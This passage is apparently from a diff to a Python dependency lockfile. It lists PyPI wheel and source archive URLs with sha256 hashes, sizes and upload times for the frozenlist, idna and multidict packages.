"https://files.pythonhosted.org/packages/d2/5c/3bbfaa920dfab09e76946a5d2833a7cbdf7b9b4a91c714666ac4855b88b4/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94", size = 89235, upload-time = "2025-10-06T05:36:48.78Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d6/f03961ef72166cec1687e84e8925838442b615bd0b8854b54923ce5b7b8a/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d5d9ce31870c", size = 50742, upload-time = "2025-10-06T05:36:49.837Z" }, + { url = "https://files.pythonhosted.org/packages/1e/bb/a6d12b7ba4c3337667d0e421f7181c82dda448ce4e7ad7ecd249a16fa806/frozenlist-1.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52", size = 51725, upload-time = "2025-10-06T05:36:50.851Z" }, + { url = "https://files.pythonhosted.org/packages/bc/71/d1fed0ffe2c2ccd70b43714c6cab0f4188f09f8a67a7914a6b46ee30f274/frozenlist-1.8.0-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51", size = 284533, upload-time = "2025-10-06T05:36:51.898Z" }, + { url = "https://files.pythonhosted.org/packages/c9/1f/fb1685a7b009d89f9bf78a42d94461bc06581f6e718c39344754a5d9bada/frozenlist-1.8.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65", size = 292506, upload-time = "2025-10-06T05:36:53.101Z" }, + { url = "https://files.pythonhosted.org/packages/e6/3b/b991fe1612703f7e0d05c0cf734c1b77aaf7c7d321df4572e8d36e7048c8/frozenlist-1.8.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82", size = 274161, upload-time = "2025-10-06T05:36:54.309Z" }, + { url = "https://files.pythonhosted.org/packages/ca/ec/c5c618767bcdf66e88945ec0157d7f6c4a1322f1473392319b7a2501ded7/frozenlist-1.8.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714", size = 294676, upload-time = "2025-10-06T05:36:55.566Z" }, + { url = "https://files.pythonhosted.org/packages/7c/ce/3934758637d8f8a88d11f0585d6495ef54b2044ed6ec84492a91fa3b27aa/frozenlist-1.8.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d", size = 300638, upload-time = "2025-10-06T05:36:56.758Z" }, + { url = "https://files.pythonhosted.org/packages/fc/4f/a7e4d0d467298f42de4b41cbc7ddaf19d3cfeabaf9ff97c20c6c7ee409f9/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506", size = 283067, upload-time = "2025-10-06T05:36:57.965Z" }, + { url = "https://files.pythonhosted.org/packages/dc/48/c7b163063d55a83772b268e6d1affb960771b0e203b632cfe09522d67ea5/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51", size = 292101, upload-time = "2025-10-06T05:36:59.237Z" }, + { url = "https://files.pythonhosted.org/packages/9f/d0/2366d3c4ecdc2fd391e0afa6e11500bfba0ea772764d631bbf82f0136c9d/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e", size = 289901, upload-time = "2025-10-06T05:37:00.811Z" }, + { url = "https://files.pythonhosted.org/packages/b8/94/daff920e82c1b70e3618a2ac39fbc01ae3e2ff6124e80739ce5d71c9b920/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0", size = 289395, upload-time = "2025-10-06T05:37:02.115Z" }, + { url = "https://files.pythonhosted.org/packages/e3/20/bba307ab4235a09fdcd3cc5508dbabd17c4634a1af4b96e0f69bfe551ebd/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41", size = 283659, upload-time = "2025-10-06T05:37:03.711Z" }, + { url = "https://files.pythonhosted.org/packages/fd/00/04ca1c3a7a124b6de4f8a9a17cc2fcad138b4608e7a3fc5877804b8715d7/frozenlist-1.8.0-cp313-cp313t-win32.whl", hash = "sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b", size = 43492, upload-time = "2025-10-06T05:37:04.915Z" }, + { url = "https://files.pythonhosted.org/packages/59/5e/c69f733a86a94ab10f68e496dc6b7e8bc078ebb415281d5698313e3af3a1/frozenlist-1.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888", size = 48034, upload-time = "2025-10-06T05:37:06.343Z" }, + { url = "https://files.pythonhosted.org/packages/16/6c/be9d79775d8abe79b05fa6d23da99ad6e7763a1d080fbae7290b286093fd/frozenlist-1.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042", size = 41749, upload-time = "2025-10-06T05:37:07.431Z" }, + { url = "https://files.pythonhosted.org/packages/f1/c8/85da824b7e7b9b6e7f7705b2ecaf9591ba6f79c1177f324c2735e41d36a2/frozenlist-1.8.0-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0", size = 86127, upload-time = "2025-10-06T05:37:08.438Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e8/a1185e236ec66c20afd72399522f142c3724c785789255202d27ae992818/frozenlist-1.8.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:119fb2a1bd47307e899c2fac7f28e85b9a543864df47aa7ec9d3c1b4545f096f", size = 49698, upload-time = "2025-10-06T05:37:09.48Z" }, + { url = "https://files.pythonhosted.org/packages/a1/93/72b1736d68f03fda5fdf0f2180fb6caaae3894f1b854d006ac61ecc727ee/frozenlist-1.8.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c", size = 49749, upload-time = "2025-10-06T05:37:10.569Z" }, + { url = "https://files.pythonhosted.org/packages/a7/b2/fabede9fafd976b991e9f1b9c8c873ed86f202889b864756f240ce6dd855/frozenlist-1.8.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2", size = 231298, upload-time = "2025-10-06T05:37:11.993Z" }, + { url = "https://files.pythonhosted.org/packages/3a/3b/d9b1e0b0eed36e70477ffb8360c49c85c8ca8ef9700a4e6711f39a6e8b45/frozenlist-1.8.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8", size = 232015, upload-time = "2025-10-06T05:37:13.194Z" }, + { url = "https://files.pythonhosted.org/packages/dc/94/be719d2766c1138148564a3960fc2c06eb688da592bdc25adcf856101be7/frozenlist-1.8.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0325024fe97f94c41c08872db482cf8ac4800d80e79222c6b0b7b162d5b13686", size = 225038, upload-time = "2025-10-06T05:37:14.577Z" }, + { url = "https://files.pythonhosted.org/packages/e4/09/6712b6c5465f083f52f50cf74167b92d4ea2f50e46a9eea0523d658454ae/frozenlist-1.8.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e", size = 240130, upload-time = "2025-10-06T05:37:15.781Z" }, + { url = "https://files.pythonhosted.org/packages/f8/d4/cd065cdcf21550b54f3ce6a22e143ac9e4836ca42a0de1022da8498eac89/frozenlist-1.8.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a", size = 242845, upload-time = "2025-10-06T05:37:17.037Z" }, + { url = "https://files.pythonhosted.org/packages/62/c3/f57a5c8c70cd1ead3d5d5f776f89d33110b1addae0ab010ad774d9a44fb9/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128", size = 229131, upload-time = "2025-10-06T05:37:18.221Z" }, + { url = "https://files.pythonhosted.org/packages/6c/52/232476fe9cb64f0742f3fde2b7d26c1dac18b6d62071c74d4ded55e0ef94/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f", size = 240542, upload-time = "2025-10-06T05:37:19.771Z" }, + { url = "https://files.pythonhosted.org/packages/5f/85/07bf3f5d0fb5414aee5f47d33c6f5c77bfe49aac680bfece33d4fdf6a246/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:154e55ec0655291b5dd1b8731c637ecdb50975a2ae70c606d100750a540082f7", size = 237308, upload-time = "2025-10-06T05:37:20.969Z" }, + { url = "https://files.pythonhosted.org/packages/11/99/ae3a33d5befd41ac0ca2cc7fd3aa707c9c324de2e89db0e0f45db9a64c26/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30", size = 238210, upload-time = "2025-10-06T05:37:22.252Z" }, + { url = "https://files.pythonhosted.org/packages/b2/60/b1d2da22f4970e7a155f0adde9b1435712ece01b3cd45ba63702aea33938/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7", size = 231972, upload-time = "2025-10-06T05:37:23.5Z" }, + { url = "https://files.pythonhosted.org/packages/3f/ab/945b2f32de889993b9c9133216c068b7fcf257d8595a0ac420ac8677cab0/frozenlist-1.8.0-cp314-cp314-win32.whl", hash = "sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806", size = 40536, upload-time = "2025-10-06T05:37:25.581Z" }, + { url = "https://files.pythonhosted.org/packages/59/ad/9caa9b9c836d9ad6f067157a531ac48b7d36499f5036d4141ce78c230b1b/frozenlist-1.8.0-cp314-cp314-win_amd64.whl", hash = "sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0", size = 44330, upload-time = "2025-10-06T05:37:26.928Z" }, + { url = "https://files.pythonhosted.org/packages/82/13/e6950121764f2676f43534c555249f57030150260aee9dcf7d64efda11dd/frozenlist-1.8.0-cp314-cp314-win_arm64.whl", hash = "sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b", size = 40627, upload-time = "2025-10-06T05:37:28.075Z" }, + { url = "https://files.pythonhosted.org/packages/c0/c7/43200656ecc4e02d3f8bc248df68256cd9572b3f0017f0a0c4e93440ae23/frozenlist-1.8.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d", size = 89238, upload-time = "2025-10-06T05:37:29.373Z" }, + { url = "https://files.pythonhosted.org/packages/d1/29/55c5f0689b9c0fb765055629f472c0de484dcaf0acee2f7707266ae3583c/frozenlist-1.8.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed", size = 50738, upload-time = "2025-10-06T05:37:30.792Z" }, + { url = "https://files.pythonhosted.org/packages/ba/7d/b7282a445956506fa11da8c2db7d276adcbf2b17d8bb8407a47685263f90/frozenlist-1.8.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930", size = 51739, upload-time = "2025-10-06T05:37:32.127Z" }, + { url = "https://files.pythonhosted.org/packages/62/1c/3d8622e60d0b767a5510d1d3cf21065b9db874696a51ea6d7a43180a259c/frozenlist-1.8.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c", size = 284186, upload-time = "2025-10-06T05:37:33.21Z" }, + { url = "https://files.pythonhosted.org/packages/2d/14/aa36d5f85a89679a85a1d44cd7a6657e0b1c75f61e7cad987b203d2daca8/frozenlist-1.8.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24", size = 292196, upload-time = "2025-10-06T05:37:36.107Z" }, + { url = "https://files.pythonhosted.org/packages/05/23/6bde59eb55abd407d34f77d39a5126fb7b4f109a3f611d3929f14b700c66/frozenlist-1.8.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37", size = 273830, upload-time = "2025-10-06T05:37:37.663Z" }, + { url = "https://files.pythonhosted.org/packages/d2/3f/22cff331bfad7a8afa616289000ba793347fcd7bc275f3b28ecea2a27909/frozenlist-1.8.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a", size = 294289, upload-time = "2025-10-06T05:37:39.261Z" }, + { url = "https://files.pythonhosted.org/packages/a4/89/5b057c799de4838b6c69aa82b79705f2027615e01be996d2486a69ca99c4/frozenlist-1.8.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2", size = 300318, upload-time = "2025-10-06T05:37:43.213Z" }, + { url = "https://files.pythonhosted.org/packages/30/de/2c22ab3eb2a8af6d69dc799e48455813bab3690c760de58e1bf43b36da3e/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:168c0969a329b416119507ba30b9ea13688fafffac1b7822802537569a1cb0ef", size = 282814, upload-time = "2025-10-06T05:37:45.337Z" }, + { url = "https://files.pythonhosted.org/packages/59/f7/970141a6a8dbd7f556d94977858cfb36fa9b66e0892c6dd780d2219d8cd8/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe", size = 291762, upload-time = "2025-10-06T05:37:46.657Z" }, + { url = "https://files.pythonhosted.org/packages/c1/15/ca1adae83a719f82df9116d66f5bb28bb95557b3951903d39135620ef157/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8", size = 289470, upload-time = "2025-10-06T05:37:47.946Z" }, + { url = "https://files.pythonhosted.org/packages/ac/83/dca6dc53bf657d371fbc88ddeb21b79891e747189c5de990b9dfff2ccba1/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a", size = 289042, upload-time = "2025-10-06T05:37:49.499Z" }, + { url = "https://files.pythonhosted.org/packages/96/52/abddd34ca99be142f354398700536c5bd315880ed0a213812bc491cff5e4/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e", size = 283148, upload-time = "2025-10-06T05:37:50.745Z" }, + { url = "https://files.pythonhosted.org/packages/af/d3/76bd4ed4317e7119c2b7f57c3f6934aba26d277acc6309f873341640e21f/frozenlist-1.8.0-cp314-cp314t-win32.whl", hash = "sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df", size = 44676, upload-time = "2025-10-06T05:37:52.222Z" }, + { url = "https://files.pythonhosted.org/packages/89/76/c615883b7b521ead2944bb3480398cbb07e12b7b4e4d073d3752eb721558/frozenlist-1.8.0-cp314-cp314t-win_amd64.whl", hash = "sha256:06be8f67f39c8b1dc671f5d83aaefd3358ae5cdcf8314552c57e7ed3e6475bdd", size = 49451, upload-time = "2025-10-06T05:37:53.425Z" }, + { url = "https://files.pythonhosted.org/packages/e0/a3/5982da14e113d07b325230f95060e2169f5311b1017ea8af2a29b374c289/frozenlist-1.8.0-cp314-cp314t-win_arm64.whl", hash = "sha256:102e6314ca4da683dca92e3b1355490fed5f313b768500084fbe6371fddfdb79", size = 42507, upload-time = "2025-10-06T05:37:54.513Z" }, + { url = "https://files.pythonhosted.org/packages/9a/9a/e35b4a917281c0b8419d4207f4334c8e8c5dbf4f3f5f9ada73958d937dcc/frozenlist-1.8.0-py3-none-any.whl", hash = "sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d", size = 13409, upload-time = "2025-10-06T05:38:16.721Z" }, +] + +[[package]] +name = "idna" +version = "3.14" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/05/b1/efac073e0c297ecf2fb33c346989a529d4e19164f1759102dee5953ee17e/idna-3.14.tar.gz", hash = "sha256:466d810d7a2cc1022bea9b037c39728d51ae7dad40d480fc9b7d7ecf98ba8ee3", size = 198272, upload-time = "2026-05-10T20:32:15.935Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6c/3c/3f62dee257eb3d6b2c1ef2a09d36d9793c7111156a73b5654d2c2305e5ce/idna-3.14-py3-none-any.whl", hash = "sha256:e677eaf072e290f7b725f9acf0b3a2bd55f9fd6f7c70abe5f0e34823d0accf69", size = 72184, upload-time = "2026-05-10T20:32:14.295Z" }, +] + +[[package]] +name = "multidict" +version = "6.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1a/c2/c2d94cbe6ac1753f3fc980da97b3d930efe1da3af3c9f5125354436c073d/multidict-6.7.1.tar.gz", hash = "sha256:ec6652a1bee61c53a3e5776b6049172c53b6aaba34f18c9ad04f82712bac623d", size = 102010, upload-time = "2026-01-26T02:46:45.979Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8d/9c/f20e0e2cf80e4b2e4b1c365bf5fe104ee633c751a724246262db8f1a0b13/multidict-6.7.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a90f75c956e32891a4eda3639ce6dd86e87105271f43d43442a3aedf3cddf172", size = 76893, upload-time = "2026-01-26T02:43:52.754Z" }, + { url = "https://files.pythonhosted.org/packages/fe/cf/18ef143a81610136d3da8193da9d80bfe1cb548a1e2d1c775f26b23d024a/multidict-6.7.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:3fccb473e87eaa1382689053e4a4618e7ba7b9b9b8d6adf2027ee474597128cd", size = 45456, upload-time = "2026-01-26T02:43:53.893Z" }, + { url = "https://files.pythonhosted.org/packages/a9/65/1caac9d4cd32e8433908683446eebc953e82d22b03d10d41a5f0fefe991b/multidict-6.7.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b0fa96985700739c4c7853a43c0b3e169360d6855780021bfc6d0f1ce7c123e7", size = 43872, upload-time = "2026-01-26T02:43:55.041Z" }, + { url = "https://files.pythonhosted.org/packages/cf/3b/d6bd75dc4f3ff7c73766e04e705b00ed6dbbaccf670d9e05a12b006f5a21/multidict-6.7.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:cb2a55f408c3043e42b40cc8eecd575afa27b7e0b956dfb190de0f8499a57a53", size = 251018, upload-time = "2026-01-26T02:43:56.198Z" }, + { url = "https://files.pythonhosted.org/packages/fd/80/c959c5933adedb9ac15152e4067c702a808ea183a8b64cf8f31af8ad3155/multidict-6.7.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eb0ce7b2a32d09892b3dd6cc44877a0d02a33241fafca5f25c8b6b62374f8b75", size = 258883, upload-time = "2026-01-26T02:43:57.499Z" }, + { url = "https://files.pythonhosted.org/packages/86/85/7ed40adafea3d4f1c8b916e3b5cc3a8e07dfcdcb9cd72800f4ed3ca1b387/multidict-6.7.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c3a32d23520ee37bf327d1e1a656fec76a2edd5c038bf43eddfa0572ec49c60b", size = 242413, upload-time = "2026-01-26T02:43:58.755Z" }, + { url = "https://files.pythonhosted.org/packages/d2/57/b8565ff533e48595503c785f8361ff9a4fde4d67de25c207cd0ba3befd03/multidict-6.7.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9c90fed18bffc0189ba814749fdcc102b536e83a9f738a9003e569acd540a733", size = 268404, upload-time = "2026-01-26T02:44:00.216Z" }, + { url = "https://files.pythonhosted.org/packages/e0/50/9810c5c29350f7258180dfdcb2e52783a0632862eb334c4896ac717cebcb/multidict-6.7.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:da62917e6076f512daccfbbde27f46fed1c98fee202f0559adec8ee0de67f71a", size = 269456, upload-time = "2026-01-26T02:44:02.202Z" }, + { url = "https://files.pythonhosted.org/packages/f3/8d/5e5be3ced1d12966fefb5c4ea3b2a5b480afcea36406559442c6e31d4a48/multidict-6.7.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bfde23ef6ed9db7eaee6c37dcec08524cb43903c60b285b172b6c094711b3961", size = 256322, upload-time = "2026-01-26T02:44:03.56Z" }, + { url = "https://files.pythonhosted.org/packages/31/6e/d8a26d81ac166a5592782d208dd90dfdc0a7a218adaa52b45a672b46c122/multidict-6.7.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3758692429e4e32f1ba0df23219cd0b4fc0a52f476726fff9337d1a57676a582", size = 253955, upload-time = "2026-01-26T02:44:04.845Z" }, + { url = "https://files.pythonhosted.org/packages/59/4c/7c672c8aad41534ba619bcd4ade7a0dc87ed6b8b5c06149b85d3dd03f0cd/multidict-6.7.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:398c1478926eca669f2fd6a5856b6de9c0acf23a2cb59a14c0ba5844fa38077e", size = 251254, upload-time = "2026-01-26T02:44:06.133Z" }, + { url = "https://files.pythonhosted.org/packages/7b/bd/84c24de512cbafbdbc39439f74e967f19570ce7924e3007174a29c348916/multidict-6.7.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c102791b1c4f3ab36ce4101154549105a53dc828f016356b3e3bcae2e3a039d3", size = 252059, upload-time = "2026-01-26T02:44:07.518Z" }, + { url = "https://files.pythonhosted.org/packages/fa/ba/f5449385510825b73d01c2d4087bf6d2fccc20a2d42ac34df93191d3dd03/multidict-6.7.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a088b62bd733e2ad12c50dad01b7d0166c30287c166e137433d3b410add807a6", size = 263588, upload-time = "2026-01-26T02:44:09.382Z" }, + { url = "https://files.pythonhosted.org/packages/d7/11/afc7c677f68f75c84a69fe37184f0f82fce13ce4b92f49f3db280b7e92b3/multidict-6.7.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3d51ff4785d58d3f6c91bdbffcb5e1f7ddfda557727043aa20d20ec4f65e324a", size = 259642, upload-time = "2026-01-26T02:44:10.73Z" }, + { url = "https://files.pythonhosted.org/packages/2b/17/ebb9644da78c4ab36403739e0e6e0e30ebb135b9caf3440825001a0bddcb/multidict-6.7.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fc5907494fccf3e7d3f94f95c91d6336b092b5fc83811720fae5e2765890dfba", size = 251377, upload-time = "2026-01-26T02:44:12.042Z" }, + { url = "https://files.pythonhosted.org/packages/ca/a4/840f5b97339e27846c46307f2530a2805d9d537d8b8bd416af031cad7fa0/multidict-6.7.1-cp312-cp312-win32.whl", hash = "sha256:28ca5ce2fd9716631133d0e9a9b9a745ad7f60bac2bccafb56aa380fc0b6c511", size = 41887, upload-time = "2026-01-26T02:44:14.245Z" }, + { url = "https://files.pythonhosted.org/packages/80/31/0b2517913687895f5904325c2069d6a3b78f66cc641a86a2baf75a05dcbb/multidict-6.7.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcee94dfbd638784645b066074b338bc9cc155d4b4bffa4adce1615c5a426c19", size = 46053, upload-time = "2026-01-26T02:44:15.371Z" }, + { url = "https://files.pythonhosted.org/packages/0c/5b/aba28e4ee4006ae4c7df8d327d31025d760ffa992ea23812a601d226e682/multidict-6.7.1-cp312-cp312-win_arm64.whl", hash = "sha256:ba0a9fb644d0c1a2194cf7ffb043bd852cea63a57f66fbd33959f7dae18517bf", size = 43307, upload-time = "2026-01-26T02:44:16.852Z" }, + { url = "https://files.pythonhosted.org/packages/f2/22/929c141d6c0dba87d3e1d38fbdf1ba8baba86b7776469f2bc2d3227a1e67/multidict-6.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:2b41f5fed0ed563624f1c17630cb9941cf2309d4df00e494b551b5f3e3d67a23", size = 76174, upload-time = "2026-01-26T02:44:18.509Z" }, + { url = "https://files.pythonhosted.org/packages/c7/75/bc704ae15fee974f8fccd871305e254754167dce5f9e42d88a2def741a1d/multidict-6.7.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84e61e3af5463c19b67ced91f6c634effb89ef8bfc5ca0267f954451ed4bb6a2", size = 45116, upload-time = "2026-01-26T02:44:19.745Z" }, + { url = "https://files.pythonhosted.org/packages/79/76/55cd7186f498ed080a18440c9013011eb548f77ae1b297206d030eb1180a/multidict-6.7.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:935434b9853c7c112eee7ac891bc4cb86455aa631269ae35442cb316790c1445", size = 43524, upload-time = "2026-01-26T02:44:21.571Z" }, + { url = "https://files.pythonhosted.org/packages/e9/3c/414842ef8d5a1628d68edee29ba0e5bcf235dbfb3ccd3ea303a7fe8c72ff/multidict-6.7.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:432feb25a1cb67fe82a9680b4d65fb542e4635cb3166cd9c01560651ad60f177", size = 249368, upload-time = "2026-01-26T02:44:22.803Z" }, + { url = "https://files.pythonhosted.org/packages/f6/32/befed7f74c458b4a525e60519fe8d87eef72bb1e99924fa2b0f9d97a221e/multidict-6.7.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e82d14e3c948952a1a85503817e038cba5905a3352de76b9a465075d072fba23", size = 256952, upload-time = "2026-01-26T02:44:24.306Z" }, + { url = "https://files.pythonhosted.org/packages/03/d6/c878a44ba877f366630c860fdf74bfb203c33778f12b6ac274936853c451/multidict-6.7.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4cfb48c6ea66c83bcaaf7e4dfa7ec1b6bbcf751b7db85a328902796dfde4c060", size = 240317, upload-time = "2026-01-26T02:44:25.772Z" }, + { url = "https://files.pythonhosted.org/packages/68/49/57421b4d7ad2e9e60e25922b08ceb37e077b90444bde6ead629095327a6f/multidict-6.7.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1d540e51b7e8e170174555edecddbd5538105443754539193e3e1061864d444d", size = 267132, upload-time = "2026-01-26T02:44:27.648Z" }, + { url = "https://files.pythonhosted.org/packages/b7/fe/ec0edd52ddbcea2a2e89e174f0206444a61440b40f39704e64dc807a70bd/multidict-6.7.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:273d23f4b40f3dce4d6c8a821c741a86dec62cded82e1175ba3d99be128147ed", size = 268140, 